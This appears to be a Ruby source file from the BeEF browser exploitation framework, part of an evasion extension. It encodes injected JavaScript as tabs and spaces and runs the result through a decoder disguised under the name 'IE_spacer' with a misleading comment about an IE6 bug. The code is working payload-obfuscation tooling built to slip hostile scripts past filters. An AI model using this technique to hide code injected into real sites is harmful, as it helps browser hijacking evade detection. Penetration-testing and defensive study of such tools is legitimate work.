Path: blob/master/extensions/evasion/obfuscation/whitespace.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Extension7module Evasion8class Whitespace9include Singleton1011def need_bootstrap?12true13end1415def get_bootstrap16# the decode function is in plain text - called IE-spacer - because trolling is always a good idea17"//Dirty IE6 whitespace bug hack18if (typeof IE_spacer === 'function') {} else {19function IE_spacer(css_space) {20var spacer = '';21for(y = 0; y < css_space.length/8; y++)22{23v = 0;24for(x = 0; x < 8; x++)25{26if(css_space.charCodeAt(x+(y*8)) > 9)27{28v++;29}30if(x != 7)31{32v = v << 1;33}34}35spacer += String.fromCharCode(v);36}return spacer;37}}"38end3940def execute(input, _config)41size = input.length42encoded = encode(input)43var_name = BeEF::Core::Crypto.random_alphanum_string(3)44input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"45print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"46input47end4849def encode(input)50output = input.unpack('B*')51output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')52end53end54end55end56end575859